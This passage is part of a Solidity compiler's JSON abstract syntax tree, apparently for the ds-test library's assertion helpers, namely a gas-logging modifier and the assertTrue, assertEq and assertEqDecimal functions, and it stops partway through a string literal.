stant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2311,\"type\":\"function (address,bool)\",\"value\":\"eventListener\"},\"id\":2390,\"name\":\"Identifier\",\"src\":\"1556:13:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2387,\"type\":\"address\",\"value\":\"target\"},\"id\":2391,\"name\":\"Identifier\",\"src\":\"1570:6:0\"},{\"attributes\":{\"hexvalue\":\"74727565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"bool\",\"type\":\"bool\",\"value\":\"true\"},\"id\":2392,\"name\":\"Literal\",\"src\":\"1578:4:0\"}],\"id\":2393,\"name\":\"FunctionCall\",\"src\":\"1556:27:0\"}],\"id\":2394,\"name\":\"EmitStatement\",\"src\":\"1551:32:0\"}],\"id\":2395,\"name\":\"Block\",\"src\":\"1541:49:0\"}],\"id\":2396,\"name\":\"FunctionDefinition\",\"src\":\"1489:101:0\"},{\"attributes\":{\"name\":\"logs_gas\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2397,\"name\":\"ParameterList\",\"src\":\"1613:2:0\"},{\"children\":[{\"attributes\":{\"assignments\":[2399]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"startGas\",\"scope\":2416,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2398,\"name\":\"ElementaryTypeName\",\"src\":\"1626:4:0\"}],\"id\":2399,\"name\":\"VariableDeclaration\",\"src\":\"1626:13:0\"},{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"uint256\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":-7,\"type\":\"function () view returns (uint256)\",\"value\":\"gasleft\"},\"id\":2400,\"name\":\"Identifier\",\"src\":\"1642:7:0\"}],\"id\":2401,\"name\":\"FunctionCall\",\"src\":\"1642:9:0\"}],\"id\":2402,\"name\":\"VariableDeclarationStatement\",\"src\":\"1626:25:0\"},{\"id\":2403,\"name\":\"PlaceholderStatement\",\"src\":\"1661:1:0\"},{\"attributes\":{\"assignments\":[2405]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"endGas\",\"scope\":2416,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2404,\"name\":\"ElementaryTypeName\",\"src\":\"1672:4:0\"}],\"id\":2405,\"name\":\"VariableDeclaration\",\"src\":\"1672:11:0\"},{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"uint256\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":-7,\"type\":\"function () view returns (uint256)\",\"value\":\"gasleft\"},\"id\":2406,\"name\":\"Identifier\",\"src\":\"1686:7:0\"}],\"id\":2407,\"name\":\"FunctionCall\",\"src\":\"1686:9:0\"}],\"id\":2408,\"name\":\"VariableDeclarationStatement\",\"src\":\"1672:23:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_4498c2139ad6cf2beef3ae7bec34c4856d471c8680dfd28d553f117df74df6b7\",\"typeString\":\"literal_string \\\"gas\\\"\"},{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2359,\"type\":\"function (bytes32,uint256)\",\"value\":\"log_named_uint\"},\"id\":2409,\"name\":\"Identifier\",\"src\":\"1710:14:0\"},{\"attributes\":{\"hexvalue\":\"676173\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"gas\\\"\",\"value\":\"gas\"},\"id\":2410,\"name\":\"Literal\",\"src\":\"1725:5:0\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"-\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2399,\"type\":\"uint256\",\"value\":\"startGas\"},\"id\":2411,\"name\":\"Identifier\",\"src\":\"1732:8:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2405,\"type\":\"uint256\",\"value\":\"endGas\"},\"id\":2412,\"name\":\"Identifier\",\"src\":\"1743:6:0\"}],\"id\":2413,\"name\":\"BinaryOperation\",\"src\":\"1732:17:0\"}],\"id\":2414,\"name\":\"FunctionCall\",\"src\":\"1710:40:0\"}],\"id\":2415,\"name\":\"EmitStatement\",\"src\":\"1705:45:0\"}],\"id\":2416,\"name\":\"Block\",\"src\":\"1616:141:0\"}],\"id\":2417,\"name\":\"ModifierDefinition\",\"src\":\"1596:161:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"assertTrue\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"condition\",\"scope\":2434,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bool\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bool\",\"type\":\"bool\"},\"id\":2418,\"name\":\"ElementaryTypeName\",\"src\":\"1783:4:0\"}],\"id\":2419,\"name\":\"VariableDeclaration\",\"src\":\"1783:14:0\"}],\"id\":2420,\"name\":\"ParameterList\",\"src\":\"1782:16:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2421,\"name\":\"ParameterList\",\"src\":\"1808:0:0\"},{\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!\",\"prefix\":true,\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2419,\"type\":\"bool\",\"value\":\"condition\"},\"id\":2422,\"name\":\"Identifier\",\"src\":\"1823:9:0\"}],\"id\":2423,\"name\":\"UnaryOperation\",\"src\":\"1822:10:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_ede1f90ce497dfbddc2cf77d840cc7d29246a1b516a68ce6ebf2ce12d4a6e2e3\",\"typeString\":\"literal_string \\\"Assertion failed\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2319,\"type\":\"function (bytes32)\",\"value\":\"log_bytes32\"},\"id\":2424,\"name\":\"Identifier\",\"src\":\"1853:11:0\"},{\"attributes\":{\"hexvalue\":\"417373657274696f6e206661696c6564\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Assertion failed\\\"\",\"value\":\"Assertion failed\"},\"id\":2425,\"name\":\"Literal\",\"src\":\"1865:18:0\"}],\"id\":2426,\"name\":\"FunctionCall\",\"src\":\"1853:31:0\"}],\"id\":2427,\"name\":\"EmitStatement\",\"src\":\"1848:36:0\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2385,\"type\":\"function ()\",\"value\":\"fail\"},\"id\":2428,\"name\":\"Identifier\",\"src\":\"1898:4:0\"}],\"id\":2429,\"name\":\"FunctionCall\",\"src\":\"1898:6:0\"}],\"id\":2430,\"name\":\"ExpressionStatement\",\"src\":\"1898:6:0\"}],\"id\":2431,\"name\":\"Block\",\"src\":\"1834:81:0\"}],\"id\":2432,\"name\":\"IfStatement\",\"src\":\"1818:97:0\"}],\"id\":2433,\"name\":\"Block\",\"src\":\"1808:113:0\"}],\"id\":2434,\"name\":\"FunctionDefinition\",\"src\":\"1763:158:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"assertEq\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"a\",\"scope\":2464,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":2435,\"name\":\"ElementaryTypeName\",\"src\":\"1945:7:0\"}],\"id\":2436,\"name\":\"VariableDeclaration\",\"src\":\"1945:9:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"b\",\"scope\":2464,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":2437,\"name\":\"ElementaryTypeName\",\"src\":\"1956:7:0\"}],\"id\":2438,\"name\":\"VariableDeclaration\",\"src\":\"1956:9:0\"}],\"id\":2439,\"name\":\"ParameterList\",\"src\":\"1944:22:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2440,\"name\":\"ParameterList\",\"src\":\"1976:0:0\"},{\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2436,\"type\":\"address\",\"value\":\"a\"},\"id\":2441,\"name\":\"Identifier\",\"src\":\"1990:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2438,\"type\":\"address\",\"value\":\"b\"},\"id\":2442,\"name\":\"Identifier\",\"src\":\"1995:1:0\"}],\"id\":2443,\"name\":\"BinaryOperation\",\"src\":\"1990:6:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_0683fdcecd7ea554c482acf92a0f1fdf00e7500cf6d859b38e57e7c328d27a83\",\"typeString\":\"literal_string \\\"Error: Wrong `address' value\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2319,\"type\":\"function (bytes32)\",\"value\":\"log_bytes32\"},\"id\":2444,\"name\":\"Identifier\",\"src\":\"2017:11:0\"},{\"attributes\":{\"hexvalue\":\"4572726f723a2057726f6e67206061646472657373272076616c7565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Error: Wrong `address' value\\\"\",\"value\":\"Error: Wrong `address' value\"},\"id\":2445,\"name\":\"Literal\",\"src\":\"2029:30:0\"}],\"id\":2446,\"name\":\"FunctionCall\",\"src\":\"2017:43:0\"}],\"id\":2447,\"name\":\"EmitStatement\",\"src\":\"2012:48:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b\",\"typeString\":\"literal_string \\\"  Expected\\\"\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2325,\"type\":\"function (bytes32,address)\",\"value\":\"log_named_address\"},\"id\":2448,\"name\":\"Identifier\",\"src\":\"2079:17:0\"},{\"attributes\":{\"hexvalue\":\"20204578706563746564\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"  Expected\\\"\",\"value\":\"  Expected\"},\"id\":2449,\"name\":\"Literal\",\"src\":\"2097:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2438,\"type\":\"address\",\"value\":\"b\"},\"id\":2450,\"name\":\"Identifier\",\"src\":\"2111:1:0\"}],\"id\":2451,\"name\":\"FunctionCall\",\"src\":\"2079:34:0\"}],\"id\":2452,\"name\":\"EmitStatement\",\"src\":\"2074:39:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b\",\"typeString\":\"literal_string \\\"    Actual\\\"\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2325,\"type\":\"function (bytes32,address)\",\"value\":\"log_named_address\"},\"id\":2453,\"name\":\"Identifier\",\"src\":\"2132:17:0\"},{\"attributes\":{\"hexvalue\":\"2020202041637475616c\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"    Actual\\\"\",\"value\":\"    Actual\"},\"id\":2454,\"name\":\"Literal\",\"src\":\"2150:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2436,\"type\":\"address\",\"value\":\"a\"},\"id\":2455,\"name\":\"Identifier\",\"src\":\"2164:1:0\"}],\"id\":2456,\"name\":\"FunctionCall\",\"src\":\"2132:34:0\"}],\"id\":2457,\"name\":\"EmitStatement\",\"src\":\"2127:39:0\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2385,\"type\":\"function ()\",\"value\":\"fail\"},\"id\":2458,\"name\":\"Identifier\",\"src\":\"2180:4:0\"}],\"id\":2459,\"name\":\"FunctionCall\",\"src\":\"2180:6:0\"}],\"id\":2460,\"name\":\"ExpressionStatement\",\"src\":\"2180:6:0\"}],\"id\":2461,\"name\":\"Block\",\"src\":\"1998:199:0\"}],\"id\":2462,\"name\":\"IfStatement\",\"src\":\"1986:211:0\"}],\"id\":2463,\"name\":\"Block\",\"src\":\"1976:227:0\"}],\"id\":2464,\"name\":\"FunctionDefinition\",\"src\":\"1927:276:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"assertEq32\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"a\",\"scope\":2477,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2465,\"name\":\"ElementaryTypeName\",\"src\":\"2229:7:0\"}],\"id\":2466,\"name\":\"VariableDeclaration\",\"src\":\"2229:9:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"b\",\"scope\":2477,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2467,\"name\":\"ElementaryTypeName\",\"src\":\"2240:7:0\"}],\"id\":2468,\"name\":\"VariableDeclaration\",\"src\":\"2240:9:0\"}],\"id\":2469,\"name\":\"ParameterList\",\"src\":\"2228:22:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2470,\"name\":\"ParameterList\",\"src\":\"2260:0:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes32\",\"typeString\":\"bytes32\"},{\"typeIdentifier\":\"t_bytes32\",\"typeString\":\"bytes32\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":2471,\"name\":\"Identifier\",\"src\":\"2270:8:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2466,\"type\":\"bytes32\",\"value\":\"a\"},\"id\":2472,\"name\":\"Identifier\",\"src\":\"2279:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2468,\"type\":\"bytes32\",\"value\":\"b\"},\"id\":2473,\"name\":\"Identifier\",\"src\":\"2282:1:0\"}],\"id\":2474,\"name\":\"FunctionCall\",\"src\":\"2270:14:0\"}],\"id\":2475,\"name\":\"ExpressionStatement\",\"src\":\"2270:14:0\"}],\"id\":2476,\"name\":\"Block\",\"src\":\"2260:31:0\"}],\"id\":2477,\"name\":\"FunctionDefinition\",\"src\":\"2209:82:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"assertEq\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"a\",\"scope\":2507,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2478,\"name\":\"ElementaryTypeName\",\"src\":\"2315:7:0\"}],\"id\":2479,\"name\":\"VariableDeclaration\",\"src\":\"2315:9:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"b\",\"scope\":2507,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes32\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes32\",\"type\":\"bytes32\"},\"id\":2480,\"name\":\"ElementaryTypeName\",\"src\":\"2326:7:0\"}],\"id\":2481,\"name\":\"VariableDeclaration\",\"src\":\"2326:9:0\"}],\"id\":2482,\"name\":\"ParameterList\",\"src\":\"2314:22:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2483,\"name\":\"ParameterList\",\"src\":\"2346:0:0\"},{\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_bytes32\",\"typeString\":\"bytes32\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2479,\"type\":\"bytes32\",\"value\":\"a\"},\"id\":2484,\"name\":\"Identifier\",\"src\":\"2360:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2481,\"type\":\"bytes32\",\"value\":\"b\"},\"id\":2485,\"name\":\"Identifier\",\"src\":\"2365:1:0\"}],\"id\":2486,\"name\":\"BinaryOperation\",\"src\":\"2360:6:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_4692831fb71a6c15ae5c8368fb0b2d1551127a5550d21ad1554fd4ea230f9dc0\",\"typeString\":\"literal_string \\\"Error: Wrong `bytes32' value\\\"\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2319,\"type\":\"function (bytes32)\",\"value\":\"log_bytes32\"},\"id\":2487,\"name\":\"Identifier\",\"src\":\"2387:11:0\"},{\"attributes\":{\"hexvalue\":\"4572726f723a2057726f6e67206062797465733332272076616c7565\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"Error: Wrong `bytes32' value\\\"\",\"value\":\"Error: Wrong `bytes32' value\"},\"id\":2488,\"name\":\"Literal\",\"src\":\"2399:30:0\"}],\"id\":2489,\"name\":\"FunctionCall\",\"src\":\"2387:43:0\"}],\"id\":2490,\"name\":\"EmitStatement\",\"src\":\"2382:48:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_42fa07d7c51ce5de92a0fc65dbf7e7800814fd01c258dc50e84d5be59184bf0b\",\"typeString\":\"literal_string \\\"  Expected\\\"\"},{\"typeIdentifier\":\"t_bytes32\",\"typeString\":\"bytes32\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2331,\"type\":\"function (bytes32,bytes32)\",\"value\":\"log_named_bytes32\"},\"id\":2491,\"name\":\"Identifier\",\"src\":\"2449:17:0\"},{\"attributes\":{\"hexvalue\":\"20204578706563746564\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"  Expected\\\"\",\"value\":\"  Expected\"},\"id\":2492,\"name\":\"Literal\",\"src\":\"2467:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2481,\"type\":\"bytes32\",\"value\":\"b\"},\"id\":2493,\"name\":\"Identifier\",\"src\":\"2481:1:0\"}],\"id\":2494,\"name\":\"FunctionCall\",\"src\":\"2449:34:0\"}],\"id\":2495,\"name\":\"EmitStatement\",\"src\":\"2444:39:0\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_d7896f3f645b3ba89da46bf231a5df16e525e587a84bc9b284dfb39958fb219b\",\"typeString\":\"literal_string \\\"    Actual\\\"\"},{\"typeIdentifier\":\"t_bytes32\",\"typeString\":\"bytes32\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2331,\"type\":\"function (bytes32,bytes32)\",\"value\":\"log_named_bytes32\"},\"id\":2496,\"name\":\"Identifier\",\"src\":\"2502:17:0\"},{\"attributes\":{\"hexvalue\":\"2020202041637475616c\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"    Actual\\\"\",\"value\":\"    Actual\"},\"id\":2497,\"name\":\"Literal\",\"src\":\"2520:12:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2479,\"type\":\"bytes32\",\"value\":\"a\"},\"id\":2498,\"name\":\"Identifier\",\"src\":\"2534:1:0\"}],\"id\":2499,\"name\":\"FunctionCall\",\"src\":\"2502:34:0\"}],\"id\":2500,\"name\":\"EmitStatement\",\"src\":\"2497:39:0\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2385,\"type\":\"function ()\",\"value\":\"fail\"},\"id\":2501,\"name\":\"Identifier\",\"src\":\"2550:4:0\"}],\"id\":2502,\"name\":\"FunctionCall\",\"src\":\"2550:6:0\"}],\"id\":2503,\"name\":\"ExpressionStatement\",\"src\":\"2550:6:0\"}],\"id\":2504,\"name\":\"Block\",\"src\":\"2368:199:0\"}],\"id\":2505,\"name\":\"IfStatement\",\"src\":\"2356:211:0\"}],\"id\":2506,\"name\":\"Block\",\"src\":\"2346:227:0\"}],\"id\":2507,\"name\":\"FunctionDefinition\",\"src\":\"2297:276:0\"},{\"attributes\":{\"implemented\":true,\"isConstructor\":false,\"kind\":\"function\",\"modifiers\":[null],\"name\":\"assertEqDecimal\",\"scope\":2747,\"stateMutability\":\"nonpayable\",\"virtual\":false,\"visibility\":\"internal\"},\"children\":[{\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"a\",\"scope\":2541,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"int256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"int\",\"type\":\"int256\"},\"id\":2508,\"name\":\"ElementaryTypeName\",\"src\":\"2604:3:0\"}],\"id\":2509,\"name\":\"VariableDeclaration\",\"src\":\"2604:5:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"b\",\"scope\":2541,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"int256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"int\",\"type\":\"int256\"},\"id\":2510,\"name\":\"ElementaryTypeName\",\"src\":\"2611:3:0\"}],\"id\":2511,\"name\":\"VariableDeclaration\",\"src\":\"2611:5:0\"},{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"decimals\",\"scope\":2541,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"uint256\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"uint\",\"type\":\"uint256\"},\"id\":2512,\"name\":\"ElementaryTypeName\",\"src\":\"2618:4:0\"}],\"id\":2513,\"name\":\"VariableDeclaration\",\"src\":\"2618:13:0\"}],\"id\":2514,\"name\":\"ParameterList\",\"src\":\"2603:29:0\"},{\"attributes\":{\"parameters\":[null]},\"children\":[],\"id\":2515,\"name\":\"ParameterList\",\"src\":\"2642:0:0\"},{\"children\":[{\"attributes\":{},\"children\":[{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_int256\",\"typeString\":\"int256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"!=\",\"type\":\"bool\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2509,\"type\":\"int256\",\"value\":\"a\"},\"id\":2516,\"name\":\"Identifier\",\"src\":\"2656:1:0\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":2511,\"type\":\"int256\",\"value\":\"b\"},\"id\":2517,\"name\":\"Identifier\",\"src\":\"2661:1:0\"}],\"id\":2518,\"name\":\"BinaryOperation\",\"src\":\"2656:6:0\"},{\"children\":[{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_stringliteral_d69bd525c8f7746901b6dd610d1ef8c9525af6efb22052f12dfd1e9f8d21ba64\",\"typeString\":\"literal_string \\\"Error: Wrong fixed-point 